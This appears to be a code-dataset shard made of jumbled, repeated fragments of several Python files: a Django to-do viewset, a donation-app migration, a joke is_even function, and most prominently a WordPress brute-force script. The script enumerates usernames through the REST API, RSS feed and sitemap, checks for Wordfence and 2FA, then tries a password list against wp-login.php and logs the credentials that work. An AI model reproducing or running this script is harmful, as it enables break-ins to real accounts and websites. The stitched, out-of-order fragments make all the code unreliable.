TODOList.objects.filter(owner=self.request.user).order_by('created_at')", "import User from rest_framework import viewsets, status from rest_framework.response import", "rest_framework import viewsets, status from rest_framework.response import Response from rest_framework.permissions", "permission_classes = [IsAuthenticated] serializer_class = TODOListSerializer def get_queryset(self): user =", "TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class = TODOListSerializer def get_queryset(self): user", "def get_queryset(self): user = self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request,", "create(self, request, *args, **kwargs): request.data['owner'] = request.user.id return super(self.__class__, self).create(request,", "IsAdminUser from api.serializers import TODOListSerializer from api.models import TODOList class", "from api.serializers import TODOListSerializer from api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet):", "= self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args, **kwargs): request.data['owner']", "rest_framework.permissions import IsAuthenticated, IsAdminUser from api.serializers import TODOListSerializer from api.models", "import IsAuthenticated, IsAdminUser from api.serializers import TODOListSerializer from api.models import", "api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class =", "class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class = TODOListSerializer def get_queryset(self):", "import TODOListSerializer from api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes =", "api.serializers import TODOListSerializer from api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes", "TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args, **kwargs): request.data['owner'] = request.user.id return" ]
[]
[ "migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)),", "= apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us',", "if reason: # Filter out None and u'' Referral.objects.create(reason=reason) for", "'0042_amend_donation_view'), ] operations = [ migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID',", "unicode_literals from django.db import migrations, models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps,", "dependencies = [ ('donation', '0042_amend_donation_view'), ] operations = [ migrations.CreateModel(", "reason in reasons: if reason: # Filter out None and", "you hear about us?', blank=True, to='donation.Referral', null=True), ), migrations.RunPython(copy_existing_referrals_into_new_field) ]", "coding: utf-8 -*- from __future__ import unicode_literals from django.db import", "= Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in reasons: if reason: #", "copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation', 'Referral')", "pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies = [ ('donation',", "'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in reasons: if", "field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear about us?', blank=True, to='donation.Referral', null=True),", "Referral.objects.create(reason=reason) for pledge in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if reason:", "for pledge in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db", "[ ('donation', '0042_amend_donation_view'), ] operations = [ migrations.CreateModel( name='Referral', fields=[", "models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you", "] operations = [ migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False,", "# Filter out None and u'' Referral.objects.create(reason=reason) for pledge in", "class Migration(migrations.Migration): dependencies = [ ('donation', '0042_amend_donation_view'), ] operations =", "name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ],", "import unicode_literals from django.db import migrations, models import django.db.models.deletion def", "migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear about us?',", "from django.db import migrations, models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor):", "out None and u'' Referral.objects.create(reason=reason) for pledge in Pledge.objects.all(): reason", "migrations, models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation',", "-*- from __future__ import unicode_literals from django.db import migrations, models", "operations = [ migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True,", "('donation', '0042_amend_donation_view'), ] operations = [ migrations.CreateModel( name='Referral', fields=[ ('id',", "reason: # Filter out None and u'' Referral.objects.create(reason=reason) for pledge", "pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies", "reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies = [", "reason = pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class", "schema_editor): Pledge = apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation', 'Referral') reasons", "None and u'' Referral.objects.create(reason=reason) for pledge in Pledge.objects.all(): reason =", "fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ], ),", "# -*- coding: utf-8 -*- from __future__ import unicode_literals from", "Migration(migrations.Migration): dependencies = [ ('donation', '0042_amend_donation_view'), ] operations = [", "-*- coding: utf-8 -*- from __future__ import unicode_literals from django.db", "Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in reasons: if reason: # Filter", "__future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion", "name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear about us?', blank=True, to='donation.Referral',", "model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear about us?', blank=True,", "in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason)", "verbose_name='How did you hear about us?', blank=True, to='donation.Referral', null=True), ),", "('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ], ), migrations.AddField(", "utf-8 -*- from __future__ import unicode_literals from django.db import migrations,", "auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT,", "for reason in reasons: if reason: # Filter out None", "django.db import migrations, models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge", "('reason', models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did", "= pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration):", "in reasons: if reason: # Filter out None and u''", "[ migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason',", "serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db',", "if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies =", "'Pledge') Referral = apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for", "), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear about", "Referral = apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason", "Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies = [ ('donation', '0042_amend_donation_view'), ]", "apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in reasons:", "from __future__ import unicode_literals from django.db import migrations, models import", "= apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in", "primary_key=True)), ('reason', models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How", "reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct() for reason in reasons: if reason:", "Pledge = apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation', 'Referral') reasons =", "apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation', 'Referral') reasons = Pledge.objects.values_list('how_did_you_hear_about_us', flat=True).distinct()", "Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db = Referral.objects.get(reason=reason) pledge.save()", "import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation', 'Pledge') Referral", "u'' Referral.objects.create(reason=reason) for pledge in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if", "= [ migrations.CreateModel( name='Referral', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),", "import migrations, models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge =", "= [ ('donation', '0042_amend_donation_view'), ] operations = [ migrations.CreateModel( name='Referral',", "models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('reason', models.CharField(max_length=256)), ], ), migrations.AddField( model_name='pledge',", "and u'' Referral.objects.create(reason=reason) for pledge in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us", "pledge in Pledge.objects.all(): reason = pledge.how_did_you_hear_about_us if reason: pledge.how_did_you_hear_about_us_db =", "flat=True).distinct() for reason in reasons: if reason: # Filter out", "pledge.save() class Migration(migrations.Migration): dependencies = [ ('donation', '0042_amend_donation_view'), ] operations", "did you hear about us?', blank=True, to='donation.Referral', null=True), ), migrations.RunPython(copy_existing_referrals_into_new_field)", "django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation', 'Pledge') Referral =", "= Referral.objects.get(reason=reason) pledge.save() class Migration(migrations.Migration): dependencies = [ ('donation', '0042_amend_donation_view'),", "], ), migrations.AddField( model_name='pledge', name='how_did_you_hear_about_us_db', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='How did you hear", "models import django.db.models.deletion def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation', 'Pledge')", "reasons: if reason: # Filter out None and u'' Referral.objects.create(reason=reason)", "Filter out None and u'' Referral.objects.create(reason=reason) for pledge in Pledge.objects.all():", "def copy_existing_referrals_into_new_field(apps, schema_editor): Pledge = apps.get_model('donation', 'Pledge') Referral = apps.get_model('donation'," ]
[ "== 2: return True elif i == 3: return False", "False elif i == 2: return True elif i ==", ": i % 2 == 0 is_even = lambda i", "True elif i == 3: return False elif i ==", "2 == 0 is_even = lambda i : not i", "is_even(i: int) -> bool: if i == 1: return False", "<reponame>c1m50c/twitter-examples<gh_stars>0 def is_even(i: int) -> bool: if i == 1:", "return True elif i == 3: return False elif i", "elif i == 4: return True elif i == 5:", ": not i & 1 is_odd = lambda i :", "is_even = lambda i : not i & 1 is_odd", "i == 1: return False elif i == 2: return", "Use one of these instead... is_even = lambda i :", "1: return False elif i == 2: return True elif", "% 2 == 0 is_even = lambda i : not", "== 0 is_even = lambda i : not i &", "i == 2: return True elif i == 3: return", "== 3: return False elif i == 4: return True", "True elif i == 5: ... # Never do that!", "Never do that! Use one of these instead... is_even =", "that! Use one of these instead... is_even = lambda i", "... # Never do that! Use one of these instead...", "i == 4: return True elif i == 5: ...", "is_even = lambda i : i % 2 == 0", "i % 2 == 0 is_even = lambda i :", "0 is_even = lambda i : not i & 1", "return False elif i == 4: return True elif i", "2: return True elif i == 3: return False elif", "def is_even(i: int) -> bool: if i == 1: return", "i == 3: return False elif i == 4: return", "return True elif i == 5: ... # Never do", "lambda i : i % 2 == 0 is_even =", "i == 5: ... # Never do that! Use one", "not i & 1 is_odd = lambda i : not", "== 4: return True elif i == 5: ... #", "elif i == 5: ... # Never do that! Use", "i : i % 2 == 0 is_even = lambda", "these instead... is_even = lambda i : i % 2", "== 5: ... # Never do that! Use one of", "4: return True elif i == 5: ... # Never", "elif i == 2: return True elif i == 3:", "# Never do that! Use one of these instead... is_even", "3: return False elif i == 4: return True elif", "= lambda i : not i & 1 is_odd =", "i & 1 is_odd = lambda i : not is_even(i)", "-> bool: if i == 1: return False elif i", "False elif i == 4: return True elif i ==", "of these instead... is_even = lambda i : i %", "i : not i & 1 is_odd = lambda i", "if i == 1: return False elif i == 2:", "elif i == 3: return False elif i == 4:", "instead... is_even = lambda i : i % 2 ==", "5: ... # Never do that! Use one of these", "lambda i : not i & 1 is_odd = lambda", "int) -> bool: if i == 1: return False elif", "= lambda i : i % 2 == 0 is_even", "do that! Use one of these instead... is_even = lambda", "== 1: return False elif i == 2: return True", "bool: if i == 1: return False elif i ==", "return False elif i == 2: return True elif i", "one of these instead... is_even = lambda i : i" ]
[ "200: if \"dc:creator\" in response.text: return response.text # Check we", "def attack_restapi(url,attempts,userdata,passfile): for id in userdata: user = id['slug'] cnt", "in b: password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close()", "in response.text: return True else: return False # Check if", "line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() # Time For Some", "= {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "if os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+] Password List Used: \"+passfile+\"", "response.text: if \"wp-submit\" in response.text: if \"reCAPTCHA\" not in response.text:", "Password List Used: \"+passfile+\" [+]\") else: print(\"[-] Either the file", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security", "Status [-]\") sys.exit(0) if response.status_code == 403: print(\"[-] Website is", "str(count) # Dont no body like dupes. def remove_dupes(): lines_seen", "# Which method to use for enumeration if grab_users_api(url): print(\"[+]", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if", "Quality IF statements. def basic_checks(url): if check_is_wp(url): if check_wpadmin(url): return", "website or there is a issue blocking wp-admin [-]\") sys.exit(0)", "# # By @random_robbie # # import requests import json", "def test_login (url,user,password,cnt,attempts): if str(cnt) == attempts: print(\"[-] Stopping as", "response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in response.text: print", "Used: \"+passfile+\" [+]\") else: print(\"[-] Either the file is missing", "user = line.strip() cnt = 1 print((\"[+] Found User: \"+user+\"", "\"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method == \"sitemap\": userdata", "off Parsing and attacking if method == \"restapi\": userdata =", "response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return", "line in f: count += 1 f.close() return str(count) #", "\"http\" : http_proxy, \"https\" : http_proxy, \"ftp\" : http_proxy }", "headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in response.text: print (\"[-] REST API", "headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return False elif response.status_code", "import json import sys import argparse import re import os.path", "\"20\" # Kick off Parsing and attacking if method ==", "to wp-admin login. def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "logins to 20 per ip def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0", "method to use for enumeration if grab_users_api(url): print(\"[+] Users found", "# Check if wordfence is installed as this limits the", "<filename>wordpress-brute.py #!/usr/bin/env python # # Wordpress Bruteforce Tool # #", "user in users: u = user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\")", "Either the file is missing or not readable [-]\") sys.exit(0)", "import re import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if", "= session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered by WordPress\" in response.text:", "\"+user+\" [+]\")) with open(passfile, 'r') as b: for line in", "print(\"[-] Website is giving 503 HTTP Status [-]\") sys.exit(0) if", "False else: return False if basic_checks(url): print(\"[+] Confirmed Wordpress Website", "use for enumeration if grab_users_api(url): print(\"[+] Users found via Rest", "if response.status_code == 403: print(\"[-] Website is giving 403 HTTP", "if check_wordfence(url): print (\"[+] Wordfence is installed this will limit", "== 403: print(\"[-] Website is giving 403 HTTP Status -", "\"Powered by WordPress\" in response.text: if \"wp-submit\" in response.text: if", "not a wordpress website or there is a issue blocking", "= json.loads(response.content) return jsonstr # Grab Wordpress Users via Sitemap", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict)", "[-]\") method = \"sitemap\" if method == \"None\": print (\"[-]", "via Rest API [-]\") method = \"restapi\" if grab_users_rssfeed(url) and", "cnt = test_login (url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth =", "method = \"None\" attempts = \"None\" # Which method to", "print(\"[-] Login Failed for Username: \"+user+\" Password: \"+password+\" on attempt", "count_pass(passfile): count = 0 with open(passfile, 'r') as f: for", "open(\"rssusers.txt\", \"r\"): if line not in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close()", "either not a wordpress website or there is a issue", "(\"[-] Rest API Endpoint returns 404 Not Found [-]\") return", "User: \"+user+\" [+]\")) with open(passfile, 'r') as b: for line", "\"sitemap\" if method == \"None\": print (\"[-] Oh Shit it", "json.loads(response.content) return jsonstr # Grab Wordpress Users via Sitemap def", "# # Wordpress Bruteforce Tool # # By @random_robbie #", "\"+str(cnt)+\" [-]\") cnt += 1 return cnt def count_pass(passfile): count", "True else: return False else: return False else: return False", "def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "cnt = test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata)", "http_proxy, \"ftp\" : http_proxy } # Grab Wordpress Users via", "403 HTTP Status - WAF Blocking[-]\") sys.exit(0) if \"Google Authenticator", "= line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile):", "http_proxy } # Grab Wordpress Users via Wordpress JSON api", "= line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() # Time For", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost,", "outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id in userdata: user", "else: return False # Test the logins def test_login (url,user,password,cnt,attempts):", "cnt = 1 print((\"[+] Found User: \"+user+\" [+]\")) with open(passfile,", "return cnt def count_pass(passfile): count = 0 with open(passfile, 'r')", "response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered by WordPress\" in", "if response.status_code == 404: return False elif response.status_code == 200:", "Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\") text_file =", "Users via Sitemap def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "print(\"[-] Either the file is missing or not readable [-]\")", "return response.text # Grab Wordpress Users via RSS Feed def", "Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-] Login Failed", "URL is wordpress def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "2FA is enabled Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']:", "via RSS Feed def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return False elif", "} # Grab Wordpress Users via Wordpress JSON api def", "Wordpress Website [+]\") else: print (\"[-] Sorry this is either", "enabled Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found", "f: for line in f: password = line.strip() cnt =", "Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\") cnt += 1 return", "if method == \"None\": print (\"[-] Oh Shit it seems", "http_proxy = \"\" proxyDict = { \"http\" : http_proxy, \"https\"", "Dont no body like dupes. def remove_dupes(): lines_seen = set()", "False elif response.status_code == 200: if \"dc:creator\" in response.text: return", "False elif response.status_code == 200: jsonstr = json.loads(response.content) return jsonstr", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if", "to use for enumeration if grab_users_api(url): print(\"[+] Users found via", "Grab Wordpress Users via Wordpress JSON api def grab_users_api(url): headers", "limits the logins to 20 per ip def check_wordfence(url): headers", "I was unable to find a method to grab usernames", "= \"None\" # Which method to use for enumeration if", "sys.exit(0) if response.status_code == 403: print(\"[-] Website is giving 403", "[+]\") method = \"rss\" if grab_users_sitemap(url) and method == \"None\":", "[-]\") cnt += 1 return cnt def count_pass(passfile): count =", "wp-admin login. def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "return str(count) # Dont no body like dupes. def remove_dupes():", "0 with open(passfile, 'r') as f: for line in f:", "if \"Wordfence Security - Firewall & Malware Scan\" in response.text:", "\"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-] Login Failed for Username: \"+user+\"", "if grab_users_sitemap(url) and method == \"None\": print(\"[+] Users found via", "is giving 503 HTTP Status [-]\") sys.exit(0) if response.status_code ==", "response.text: print(\"[-] 2FA is enabled Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\"", "limit the testing to 20 attempts [+]\") attempts = \"20\"", "Authors Sitemap [-]\") method = \"sitemap\" if method == \"None\":", "\"reCAPTCHA\" not in response.text: return True else: return False else:", "api def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "Malware Scan\" in response.text: return True else: return False #", "[-]\") sys.exit(0) if check_wordfence(url): print (\"[+] Wordfence is installed this", "'r') as b: for line in b: password = line.strip()", "[+]\") else: print (\"[-] Sorry this is either not a", "grab_users_api(url): print(\"[+] Users found via Rest API [-]\") method =", "== \"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method == \"sitemap\":", "\"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in", "response.status_code == 403: print(\"[-] Website is giving 403 HTTP Status", "grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "False if response.status_code == 404: print (\"[-] Rest API Endpoint", "== \"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method == \"rss\":", "attempts = \"None\" # Which method to use for enumeration", "else: return False # Check if wordfence is installed as", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if", "elif response.status_code == 200: jsonstr = json.loads(response.content) return jsonstr #", "= thisuser.split('/') user = h[4] cnt = 1 with open(passfile,", "(url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\")", "if basic_checks(url): print(\"[+] Confirmed Wordpress Website [+]\") else: print (\"[-]", "InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\",", "Website is giving 502 HTTP Status [-]\") sys.exit(0) if response.status_code", "For Some Machine Learning Quality IF statements. def basic_checks(url): if", "def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "in response.headers['Set-Cookie']: print(\"[+] Found Login Username: \"+user+\" Password: \"+password+\" on", "== attempts: print(\"[-] Stopping as Wordfence will block your IP", "count = 0 with open(passfile, 'r') as f: for line", "as b: for line in b: password = line.strip() cnt", "auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth: thisuser = user[1]", "usernames from [-]\") sys.exit(0) if check_wordfence(url): print (\"[+] Wordfence is", "\"None\" # Which method to use for enumeration if grab_users_api(url):", "Found User: \"+user+\" [+]\")) with open(passfile, 'r') as f: for", "# import requests import json import sys import argparse import", "installed this will limit the testing to 20 attempts [+]\")", "print(\"[+] Users found via RSS Feed [+]\") method = \"rss\"", "return False else: return False # Check URL is wordpress", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in response.text:", "print(\"[+] Confirmed Wordpress Website [+]\") else: print (\"[-] Sorry this", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code ==", "attempts = \"20\" # Kick off Parsing and attacking if", "the testing to 20 attempts [+]\") attempts = \"20\" #", "Found [-]\") return False elif response.status_code == 200: jsonstr =", "= \"rss\" if grab_users_sitemap(url) and method == \"None\": print(\"[+] Users", "20 per ip def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "return True else: return False # Check if wordfence is", "response.text: if \"reCAPTCHA\" not in response.text: return True else: return", "503: print(\"[-] Website is giving 503 HTTP Status [-]\") sys.exit(0)", "find a method to grab usernames from [-]\") sys.exit(0) if", "users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for", "if grab_users_api(url): print(\"[+] Users found via Rest API [-]\") method", "open(\"users.txt\", \"w\") for line in open(\"rssusers.txt\", \"r\"): if line not", "open(\"users.txt\", 'r') as f: for line in f: user =", "\"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\") cnt += 1", "= re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user", "headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in response.text: return True else: return", "IF statements. def basic_checks(url): if check_is_wp(url): if check_wpadmin(url): return True", "deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False,", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code", "response.text: print (\"[-] REST API Endpoint Requires Permissions [-]\") return", "Users via 